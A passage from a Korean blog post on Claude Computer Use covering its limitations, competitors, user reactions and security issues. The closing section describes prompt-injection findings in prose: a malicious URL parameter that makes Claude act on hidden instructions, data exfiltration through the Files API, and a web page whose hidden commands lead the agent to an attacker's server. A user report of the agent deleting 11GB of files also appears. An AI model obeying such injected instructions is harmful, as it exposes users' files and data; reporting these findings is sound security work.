&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;짧은 알림 놓침:&lt;/b&gt; 연속적인 비디오 스트림이 아닌 스크린샷 기반이므로, 짧게 나타났다 사라지는 알림이나 액션을 놓칠 수 있다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;일부 동작 제한:&lt;/b&gt; 2024년 첫 공개 당시에는 드래그&amp;middot;줌 등이 미지원이었다. 2025년 1월 업데이트(&lt;code&gt;computer_20250124&lt;/code&gt;)로 스크롤과 드래그가 추가 지원됐다. 줌(zoom)은 2025년 11월 업데이트(&lt;code&gt;computer_20251124&lt;/code&gt;)에서 추가 지원됐다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;예기치 않은 행동:&lt;/b&gt; 데모 녹화 중 Claude가 코딩 작업을 중단하고 갑자기 옐로스톤 국립공원 사진을 구경하기 시작한 적도 있다&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;에피소드: 녹화 사고&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic은 재미있는 실수 사례도 공유했다. Computer Use 데모 녹화 중에 Claude가 실수로 화면 녹화를 중지하는 버튼을 클릭해서 &lt;b&gt;모든 녹화 영상이 날아가 버렸다&lt;/b&gt;고 한다. AI가 스스로 화면을 조작하는 것이 얼마나 예측 불가능할 수 있는지를 잘 보여주는 일화다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;플랫폼 제한&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;현재 가장 큰 제약은 &lt;b&gt;macOS 전용&lt;/b&gt;이라는 점이다. Windows나 Linux 사용자는 사용할 수 없다. Anthropic은 초기 사용자 피드백을 바탕으로 플랫폼 지원을 확대할 계획이라고 밝혔다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8: 경쟁 구도 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 경쟁 구도&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;OpenAI, Google과의 데스크탑 제어 경쟁&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;컴퓨터를 직접 조작하는 AI &amp;mdash; 이 분야에서 OpenAI와 Google도 뛰고 있다. &quot;대화만 잘하는 AI&quot;에서 &lt;b&gt;실제로 화면을 만지는 AI&lt;/b&gt;로 넘어가는 건 업계 전체의 방향이다.&lt;/p&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;Anthropic (Claude)&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;OpenAI&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;Google&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;데스크탑 제어&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&lt;span style=&quot;color: #28a745;&quot;&gt;출시 (리서치 프리뷰, 2026.3)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&lt;span style=&quot;color: #28a745;&quot;&gt;출시 (Operator/CUA, 2025.1~)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&lt;span style=&quot;color: #28a745;&quot;&gt;출시 (Project Mariner, 리서치 프로토타입, AI Ultra 구독자 대상, 미국)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;OSWorld 성능&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&lt;b&gt;72.5%&lt;/b&gt; (Sonnet 4.6)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;47.3% (GPT-5.2, 2025.12 기준)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;미공개&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;모바일 연동&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;Dispatch (폰&amp;rarr;Mac)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;OpenClaw (오픈소스 자율 AI 에이전트, Peter Steinberger 창시 &amp;mdash; OpenAI가 2026년 2월 Steinberger를 영입)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;미발표&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;지원 플랫폼&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;macOS&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;비교표 참고사항&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;위 비교표는 2026년 3월 기준이며, AI 업계는 빠르게 변하고 있다. 경쟁사 정보는 공식 발표가 제한적이어서 불완전할 수 있다. OSWorld 점수는 Anthropic의 Vercept 인수 발표에서 인용한 수치이며, 평가 조건이 동일한지는 별도 확인이 필요하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Anthropic이 먼저 출시한 이유&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;데스크탑 제어를 &lt;b&gt;Anthropic이 먼저 출시&lt;/b&gt;할 수 있었던 이유가 있다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;2024년 10월부터 퍼블릭 베타로 개발자 피드백을 수집해왔다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Vercept 인수로 컴퓨터 비전 + 인터랙션 전문성을 확보했다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;리스크가 관리 가능한 현 시점에 출시하여 실전 경험을 쌓는 전략적 판단&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9: 커뮤니티 반응 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 커뮤니티 반응: 열광, 불만, 그리고 보안 경고&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Computer Use 출시 이후 빠른 속도로 반응들이 쏟아졌다. 전반적인 흐름은 &lt;b&gt;&quot;혁신적이지만 아직 갈 길이 멀다&quot;&lt;/b&gt;로 요약된다. 플랫폼별 온도 차가 컸고, 실사용 경험과 보안 우려가 뒤섞인 복잡한 그림이 그려졌다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- X/트위터 --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&quot;새로운 세계&quot; vs 사이버보안 주가 폭락&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;발표 직후 X에서는 감탄과 충격이 동시에 터져 나왔다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f0f0; border-left: 4px solid #888; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0; font-style: italic;&quot;&gt;&quot;Claude can now use your computer exactly like you do. I'll say it again: In 2026, an AI can use a computer exactly like a human. We are in a whole new world.&quot;&lt;br /&gt;(이제&amp;nbsp;Claude는&amp;nbsp;사람처럼&amp;nbsp;컴퓨터를&amp;nbsp;직접&amp;nbsp;다룰&amp;nbsp;수&amp;nbsp;있게&amp;nbsp;되었습니다.&amp;nbsp;다시&amp;nbsp;강조하자면,&amp;nbsp;2026년&amp;nbsp;현재&amp;nbsp;AI는&amp;nbsp;인간처럼&amp;nbsp;컴퓨터를&amp;nbsp;조작할&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;수준에&amp;nbsp;도달했습니다.&amp;nbsp;말&amp;nbsp;그대로&amp;nbsp;새로운&amp;nbsp;시대가&amp;nbsp;시작된&amp;nbsp;것입니다.)&lt;br /&gt;&lt;span style=&quot;font-style: normal; font-size: 13px; color: #666;&quot;&gt;&amp;mdash; @daniel_mac8 (X, 2026.3.23)&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;개발자들의 실사용 후기도 빠르게 퍼졌다. &quot;테스트 자동화, PR 작성, 릴리스 노트까지 Claude가 다 해줬다&quot;는 류의 경험담이 X에 이어졌고, 특히 Dispatch와 결합한 &quot;자리 비운 사이 작업 완료&quot; 시나리오가 눈길을 끌었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한편 같은 시기, Anthropic의 Claude Code Security 출시(2026년 2월)를 계기로 &lt;b&gt;사이버보안 관련 기업 주가가 큰 폭으로 하락&lt;/b&gt;했다는 보도가 나왔다. CrowdStrike 이틀간 누적 약 -18%(2/20 -8%, 2/23 -10.6%), Palo Alto Networks 약 -7% 하락이 보고됐으며, AI가 보안 업무를 자동화할 경우 기존 보안 소프트웨어 시장이 타격을 받을 수 있다는 우려가 반영된 것이다. Computer Use 출시 이후에도 이 우려는 지속됐다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한편 Anthropic은 3월 13~27일까지 &lt;b&gt;비피크 시간대(미국 동부 기준 평일 오후 2시 이후 + 주말 종일)&lt;/b&gt;에 사용량 한도를 2배로 늘리는 프로모션을 진행했다. Computer Use 출시(3월 23일)보다 앞서 시작된 프로모션이지만, 토큰 소모가 큰 Computer Use 사용자에게도 도움이 됐다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- DEV Community --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;실사용 체험기&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;DEV Community에서 화제가 된 글이 있다. 제목부터 강렬하다: &lt;b&gt;&quot;지하철에서 Claude에게 문자를 보냈더니, 돌아오니 슬라이드 덱이 완성되어 있었다.&quot;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;QR 코드 스캔으로 페어링하는 데 &lt;b&gt;60초도 안 걸렸다&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;폰에서 &quot;어제 회의록으로 슬라이드 만들어줘&quot;라고 보내고 20분 후 사무실에 도착하니 &lt;b&gt;완성된 프레젠테이션&lt;/b&gt;이 바탕화면에 있었다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;로컬 파일(문서, 코드 등)은 Mac 밖으로 나가지 않고, Claude가 Mac에서 직접 파일을 생성&amp;middot;수정한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;하루 종일 &lt;b&gt;하나의 대화 스레드가 유지&lt;/b&gt;되어 오전에 분석한 내용을 오후에 &quot;아까 그 분석에서 이상값 뽑아줘&quot;라고 이어갈 수 있었다&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: DEV Community, 2026.3.21)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;기술적 정확도 보충&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;파일이 기기를 떠나지 않는다&quot;는 &lt;b&gt;로컬 파일(문서, 코드 등)의 관점에서는 맞다.&lt;/b&gt; 파일 자체는 Anthropic 서버로 업로드되지 않는다. 다만 &lt;b&gt;스크린샷은 Anthropic 서버의 Claude 모델로 전송되어 처리된다.&lt;/b&gt; 비밀번호&amp;middot;금융 정보 등 민감한 내용이 화면에 표시되는 상황을 피해야 하는 이유다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- Reddit --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사용량 한도 위기와 실험 사고&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;r/ClaudeCode(주간 기여자 4,200명+)에서는 기술적 성능에는 대체로 동의하면서도, 운영상 문제들이 격렬하게 논의됐다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff5f5; border-left: 4px solid #e74c3c; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;사용량 한도 위기&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Claude Is Dead to Me&quot;라는 제목의 스레드가 큰 공감을 얻었다. Computer Use가 매 액션마다 스크린샷을 캡처&amp;middot;분석하기 때문에 토큰 소모가 일반 대화보다 훨씬 크다는 것이 핵심 불만이었다. Pro 플랜($20/월) 사용자들은 &quot;1시간 작업에 하루 한도 소진&quot;을 경험했다고 보고했다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff5f5; border-left: 4px solid #e74c3c; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;11GB 파일 삭제 사건&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;한 사용자가 &quot;디스크 정리를 해달라&quot;고 요청했더니 Claude가 맥락을 오해해 &lt;b&gt;11GB 분량의 프로젝트 파일을 삭제&lt;/b&gt;했다는 보고가 올라왔다. 해당 사용자는 Time Machine 백업으로 복구했지만 &quot;Computer Use에는 반드시 명확한 경계 설정이 필요하다&quot;고 강조했다. 이 사건은 Permission-First 설계의 중요성을 실감케 하는 사례로 커뮤니티에 널리 공유됐다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;METR 등 AI 평가 기관들이 에이전트 자율성을 측정하는 방식에 대한 관심도 높아졌다. 커뮤니티에서는 &quot;아직 보조 도구지 완전한 자율 에이전트가 아니다&quot;라는 현실적인 시각과, &quot;출발점으로는 인상적&quot;이라는 기대감이 공존했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- Claude vs Operator 비교 --&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Claude vs 다른 AI 에이전트&lt;/h4&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 12px; text-align: left; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 12px; text-align: left; font-weight: 600;&quot;&gt;Claude Computer Use&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 12px; text-align: left; font-weight: 600;&quot;&gt;Operator (OpenAI)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #fff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;인터페이스&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;Mac 데스크톱 앱 (네이티브)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;브라우저 기반 웹 태스크 특화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;접근 방식&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;스크린샷 &amp;rarr; 추론 &amp;rarr; 액션&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;DOM/웹 요소 직접 조작&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;지원 OS&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;macOS 전용 (현재)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;웹 브라우저 (OS 독립)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;강점&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;로컬 앱 전반 제어, Dispatch 폰 연동&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;웹 쇼핑&amp;middot;예약 등 온라인 태스크&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;커뮤니티 평가&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;&quot;더 범용적, 하지만 비쌈&quot;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 12px;&quot;&gt;&quot;웹 특화에서 더 빠르고 안정적&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;font-size: 12px; color: #888; margin-top: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;⚠️ 위 비교는 Reddit 커뮤니티 사용자 의견을 종합한 내용으로, 공식 벤치마크가 아니다.&lt;/p&gt;
&lt;p style=&quot;font-size: 12px; color: #888; margin-top: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- Hacker News --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Hacker News: &quot;비전은 형편없는 인터페이스다&quot;&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;기술 비판에 날카로운 HN 커뮤니티의 반응은 가장 냉정했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f0f0; border-left: 4px solid #888; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0; font-style: italic;&quot;&gt;&quot;Vision is a crappy interface to a computer. All these systems, no matter how good the underlying model gets, are fighting against the UI/UX, not with it. 90% of the complexity is edge cases: pop-ups, CAPTCHAs, permission dialogs, unexpected loading states.&quot;&lt;br /&gt;(화면을&amp;nbsp;보고&amp;nbsp;판단하는&amp;nbsp;Vision&amp;nbsp;방식은&amp;nbsp;컴퓨터를&amp;nbsp;조작하는&amp;nbsp;인터페이스로는&amp;nbsp;비효율적입니다.&amp;nbsp;기반&amp;nbsp;모델의&amp;nbsp;성능이&amp;nbsp;아무리&amp;nbsp;좋아져도,&amp;nbsp;현재&amp;nbsp;방식은&amp;nbsp;UI/UX를&amp;nbsp;잘&amp;nbsp;활용하는&amp;nbsp;구조가&amp;nbsp;아니라&amp;nbsp;그&amp;nbsp;불편함을&amp;nbsp;억지로&amp;nbsp;버텨내는&amp;nbsp;구조에&amp;nbsp;가깝습니다.&amp;nbsp;실제&amp;nbsp;어려움의&amp;nbsp;대부분은&amp;nbsp;예외&amp;nbsp;상황&amp;nbsp;처리에&amp;nbsp;있는데,&amp;nbsp;팝업창이나&amp;nbsp;CAPTCHA,&amp;nbsp;권한&amp;nbsp;요청창,&amp;nbsp;비정상적으로&amp;nbsp;보이는&amp;nbsp;로딩&amp;nbsp;상태&amp;nbsp;같은&amp;nbsp;것들이&amp;nbsp;대표적입니다.)&lt;br /&gt;&lt;span style=&quot;font-style: normal; font-size: 13px; color: #666;&quot;&gt;&amp;mdash; HN 상위 댓글 (2026.3.23, 대규모 찬성)&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f0f0; border-left: 4px solid #888; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0; font-style: italic;&quot;&gt;&quot;The most interesting thing about Claude Computer Use isn't what it can do &amp;mdash; it's how it fails. It's like watching someone who grew up without computers trying to use one. The gaps reveal exactly where human intuition fills in.&quot;&lt;br /&gt;(Claude&amp;nbsp;Computer&amp;nbsp;Use의&amp;nbsp;진짜&amp;nbsp;흥미로운&amp;nbsp;포인트는&amp;nbsp;성공&amp;nbsp;사례보다&amp;nbsp;실패&amp;nbsp;방식에&amp;nbsp;있습니다.&amp;nbsp;그&amp;nbsp;실패를&amp;nbsp;보고&amp;nbsp;있으면,&amp;nbsp;마치&amp;nbsp;컴퓨터&amp;nbsp;사용&amp;nbsp;문화에&amp;nbsp;익숙하지&amp;nbsp;않은&amp;nbsp;사람이&amp;nbsp;낯선&amp;nbsp;기계를&amp;nbsp;더듬거리며&amp;nbsp;다루는&amp;nbsp;모습처럼&amp;nbsp;느껴집니다.&amp;nbsp;그리고&amp;nbsp;바로&amp;nbsp;그&amp;nbsp;서툰&amp;nbsp;지점들을&amp;nbsp;통해,&amp;nbsp;평소에는&amp;nbsp;당연하게&amp;nbsp;여겼던&amp;nbsp;인간의&amp;nbsp;직관이&amp;nbsp;실제로&amp;nbsp;얼마나&amp;nbsp;많은&amp;nbsp;빈틈을&amp;nbsp;메우고&amp;nbsp;있었는지가&amp;nbsp;선명하게&amp;nbsp;보입니다.)&lt;br /&gt;&lt;span style=&quot;font-style: normal; font-size: 13px; color: #666;&quot;&gt;&amp;mdash; HN 상위 댓글 (2026.3.23)&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;HN에서 특히 주목받은 프로젝트는 오픈소스 브라우저 자동화 도구 &lt;b&gt;Cerebellum&lt;/b&gt;과 macOS 키보드 트리거 기반 인터페이스 &lt;b&gt;Action&lt;/b&gt;이었다. 커뮤니티는 Claude가 직접 제공하는 기능보다, 이를 기반으로 만들어지는 파생 프로젝트들에 더 많은 관심을 보였다. &quot;API를 공개하면 커뮤니티가 나머지를 한다&quot;는 Anthropic의 전략이 이미 작동하고 있다는 평가였다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 보안 섹션 --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&quot;Claudy Day&quot;: Claude 프롬프트 인젝션 취약점 공개 (2026.3.18~19)&lt;/h3&gt;
&lt;div style=&quot;background-color: #fdf0f0; border: 2px solid #e74c3c; border-radius: 8px; padding: 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin-bottom: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;Computer Use 출시 직전인 &lt;b&gt;2026년 3월 18~19일&lt;/b&gt;, 보안 기업 Oasis Security가 Claude 관련 취약점 3건을 연달아 공개했다. 보안 커뮤니티는 이를 &quot;Claudy Day&quot;라 불렀다. 공식 CVE 번호는 아직 부여되지 않았다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 12px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;취약점 1: URL 파라미터를 통한 보이지 않는 프롬프트 인젝션&lt;/b&gt; &amp;mdash; &lt;code&gt;claude.ai/new?q=&lt;/code&gt; 파라미터에 악성 지시를 삽입한 URL로 사용자를 유도하면, 사용자 모르게 Claude가 해당 지시를 실행할 수 있다. Computer Use 환경에서는 파일 시스템 접근으로 연결될 수 있어 위험도가 높다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;취약점 2: Files API를 통한 데이터 유출&lt;/b&gt; &amp;mdash; Claude의 Files API를 악용해 사용자의 민감한 데이터를 외부로 유출할 수 있는 경로가 발견됐다. Anthropic은 패치를 배포했다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;취약점 3 (참고): ZombAIs 연구&lt;/b&gt; &amp;mdash; 보안 연구자 Johann Rehberger(embracethered.com)가 2024년 10월 발표한 별도 연구로, 악성 웹페이지를 탐색하는 Claude Computer Use가 콘텐츠에 숨겨진 명령을 따라 공격자 서버에 접속하는 흐름을 시연했다. Simon Willison이 자신의 블로그에서 이 연구를 인용&amp;middot;소개해 널리 알려졌다. &quot;LLM은 자신의 컨텍스트에 들어오는 지시를 출처와 무관하게 따르는 경향이 있다&quot;는 근본적 한계를 드러낸 사례다.&lt;/li&gt;
&lt;/ul&gt;
